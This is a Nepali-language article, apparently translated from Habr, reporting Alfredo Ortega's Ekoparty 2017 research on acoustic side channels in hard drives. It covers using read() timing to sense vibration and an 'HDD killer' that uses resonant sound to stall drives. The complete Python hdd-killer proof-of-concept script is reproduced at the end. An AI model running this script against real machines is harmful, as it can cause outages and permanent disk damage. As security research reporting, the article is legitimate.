ब्यूनस आयर्समा भएको इकोपार्टी 2017 कम्प्युटर सुरक्षा सम्मेलनमा, अर्जेन्टिनाका ह्याकर अल्फ्रेडो ओर्टेगाले एक धेरै चाखलाग्दो विकास देखाए - माइक्रोफोन प्रयोग नगरी परिसरको गुप्त तार ट्याप गर्ने प्रणाली। ध्वनि हार्ड ड्राइभमा सीधा रेकर्ड!

HDD ले मुख्यतया उच्च-तीव्रता कम-फ्रिक्वेन्सी ध्वनिहरू, पाइलाहरू र अन्य कम्पनहरू लिन्छ। मानव बोली अझै पनि पहिचान गर्न सकिँदैन, यद्यपि वैज्ञानिकहरू यस दिशामा अनुसन्धान भइरहेको छ (कम आवृत्ति कम्पनहरू द्वारा वाक् पहिचान, जुन रेकर्ड गरिएको छ, उदाहरणका लागि, gyroscope वा HDD बाट)।

ध्वनि हावा वा अन्य माध्यमको कम्पन हो। एक व्यक्तिले तिनीहरूलाई कानको पर्दा मार्फत बुझ्छ, जसले भित्री कानमा कम्पनहरू पठाउँछ। माइक्रोफोन लगभग कान जस्तै डिजाइन गरिएको छ - यहाँ पनि, कम्पनहरू पातलो झिल्ली द्वारा रेकर्ड गरिन्छ, जसले विद्युतीय आवेगलाई उत्तेजित गर्दछ। हार्ड ड्राइभ, निस्सन्देह, वरपरको हावामा उतार-चढ़ावको कारण माइक्रोस्कोपिक कम्पनहरूको अधीनमा छ। यो HDDs को प्राविधिक विशेषताहरु बाट पनि थाहा छ: निर्माताहरु सामान्यतया अधिकतम अनुमति कम्पन स्तर संकेत गर्दछ, र हार्ड ड्राइभ आफैले अक्सर रबर वा अन्य इन्सुलेट सामग्री बनेको कम्पन-प्रमाण कन्टेनर मा राख्न प्रयास गर्दछ। यसबाट यो निष्कर्ष निकाल्न सजिलो छ कि ध्वनि HDD प्रयोग गरेर रेकर्ड गर्न सकिन्छ। के कसरी पत्ता लगाउन बाँकी छ।

अल्फ्रेडो ओर्टेगाले साइड-च्यानल आक्रमणको एक अद्वितीय संस्करण प्रस्ताव गरे, अर्थात् समय आक्रमण। यो आक्रमण दिइएको इनपुट डेटामा निर्भर गर्दै, विभिन्न समयमा उपकरणमा विभिन्न कार्यहरू गरिन्छ भन्ने धारणामा आधारित छ। यस अवस्थामा, "इनपुट डाटा" भनेको पढ्ने टाउको र HDD प्लेटरको कम्पन हो, जुन वातावरणको कम्पनसँग सम्बन्धित छ, अर्थात् ध्वनिसँग। यसरी, गणना समय मापन गरेर र डाटाको सांख्यिकीय विश्लेषण प्रदर्शन गरेर, हेड/प्लेटरको कम्पन र यसैले माध्यमको कम्पनहरू मापन गर्न सकिन्छ। डाटा पढ्नमा जति ढिलो हुन्छ, HDD कम्पनहरू बलियो हुन्छ र त्यसैले, चर्को आवाज।

हार्ड ड्राइभ कम्पन कसरी मापन गर्ने? धेरै सरल: केवल प्रणाली कल चलाउनुहोस् read () - र यसलाई पूरा गर्न लाग्ने समय रेकर्ड गर्नुहोस्। आधुनिक अपरेटिङ सिस्टमहरूले तपाईंलाई नानोसेकेन्ड शुद्धताका साथ प्रणाली कलहरूको समय पढ्न अनुमति दिन्छ।

सेक्टरबाट जानकारी पढ्ने गति हेड र प्लेटरको स्थितिमा निर्भर गर्दछ, जुन HDD केसको कम्पनसँग सम्बन्धित छ। यति नै।

सांख्यिकीय विश्लेषण साधारण Kscope उपयोगिता प्रयोग गरी गरिन्छ। तिनीहरू भन्छन्, सबै सरल सरल छ।

Kscope उपयोगिता (stat() syscall)

Kscope प्रणाली कल कार्यान्वयन समयमा साना भिन्नताहरू कल्पना गर्नको लागि एउटा सानो उपयोगिता हो। मुहानGitHub मा प्रकाशित.

छुट्टै भण्डारमा HDD-समय त्यहाँ हार्ड ड्राइभमा समय आक्रमणको लागि कन्फिगर गरिएको उपयोगिताको संस्करण छ, जुन प्रणाली कल विश्लेषण गर्न कन्फिगर गरिएको छ। read ().

HDD प्रयोग गरी ध्वनि रेकर्डिङको प्रदर्शन, Kscope उपयोगिताको सञ्चालन

निस्सन्देह, भाषण यस तरिकाले बुझ्न सकिँदैन, तर HDD एक कम्पन सेन्सर रूपमा एकदम उपयुक्त छ। उदाहरणका लागि, यदि कडा जुत्ता लगाएको वा खाली खुट्टा लगाएको व्यक्ति कम्प्युटरको साथ कोठामा प्रवेश गरेमा तपाईले दर्ता गर्न सक्नुहुन्छ (सम्भवतः, यदि आक्रमणकारीले नरम स्नीकर लगाएको छ वा भुइँमा बाक्लो कार्पेट छ भने, HDD ले कम्पनहरू दर्ता गर्न सक्षम हुनेछैन - यो जाँच गर्न लायक छ)। कम्प्यूटरले टुटेको गिलास वा अन्य घटनाहरू बलियो ध्वनि तीव्रताको साथ दर्ता गर्न सक्षम छ। त्यो हो, हार्ड ड्राइभले एक प्रकारको अनधिकृत घुसपैठ पत्ता लगाउने प्रणालीको रूपमा सेवा गर्न सक्छ।

HDD हत्यारा

वैसे, एक समान प्रविधि हार्ड ड्राइव असक्षम गर्न प्रयोग गर्न सकिन्छ। केवल यहाँ हामी HDD बाट दोलनहरू हटाउँदैनौं, तर यसको विपरित, हामी HDD लाई खुवाइने दोलनहरू उत्पन्न गर्छौं। यदि तपाइँ HDD फ्रिक्वेन्सीसँग प्रतिध्वनि गर्ने फ्रिक्वेन्सीमा स्पिकरबाट ध्वनि बजाउनुहुन्छ भने, प्रणालीले चाँडै I/O त्रुटिको साथ यन्त्र बन्द गर्दछ (लिनक्स कर्नेलले 120 सेकेन्ड पछि HDD पूर्ण रूपमा बन्द गर्दछ)। हार्ड ड्राइभ आफै अपरिवर्तनीय क्षति हुन सक्छ।

लिनक्स कर्नेलले एडिफायर r120u USB स्पिकरको स्पिकर मार्फत रिसोनन्ट फ्रिक्वेन्सीमा ध्वनि डेलिभर गरेको 19 सेकेन्ड पछि हार्ड ड्राइभ बन्द गर्यो। स्पिकर पावरको एक चौथाई (100 mW भन्दा कम) मा सक्रिय हुन्छ र HDD बाट 20 सेन्टीमिटर टाढा अवस्थित हुन्छ, कम्पनहरू बृद्धि गर्नको लागि टेबलमा लक्षित हुन्छ। बाट फ्रेम भिडियो क्लिप HDD हत्यारा को एक प्रदर्शन संग

यो जिज्ञासु छ कि HDD मा यस्तो "आक्रमण" कहिलेकाहीँ दैनिक जीवनमा दुर्घटना द्वारा पूर्ण रूपमा हुन्छ। उदाहरण को लागी, सेप्टेम्बर 2016 मा, ING बैंक डाटा सेन्टर लाई फायर ड्रिल पछि 10 घण्टा को लागी सञ्चालन स्थगित गर्न बाध्य पारिएको थियो। दर्जनौं हार्ड ड्राइभहरू असफल भएका छन् उच्च चापमा सिलिन्डरबाट निस्कने ग्यासको ठूलो आवाजका कारण। ध्वनि धेरै चर्को थियो (१३० dB भन्दा बढी), तर तपाईं हार्ड ड्राइभमा चिच्याउन पनि सक्नुहुन्न - यसले HDD पहुँच गर्न ढिलाइ बढाउँछ।

डाटा सेन्टरमा हार्ड ड्राइभमा मानव चिच्याएको प्रदर्शन। विलम्बता मापन

प्रतिध्वनित ध्वनि उत्पन्न गर्न, अल्फ्रेडो ओर्टेगाले पाइथन लिपि लेखे hdd-हत्यारा (भिडियो प्रदर्शन).

HDD हत्यारा लिपि यो एकदम सानो छ, त्यसैले तपाईं यसलाई पूर्ण रूपमा यहाँ प्रकाशित गर्न सक्नुहुन्छ।

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

स्रोत: www.habr.com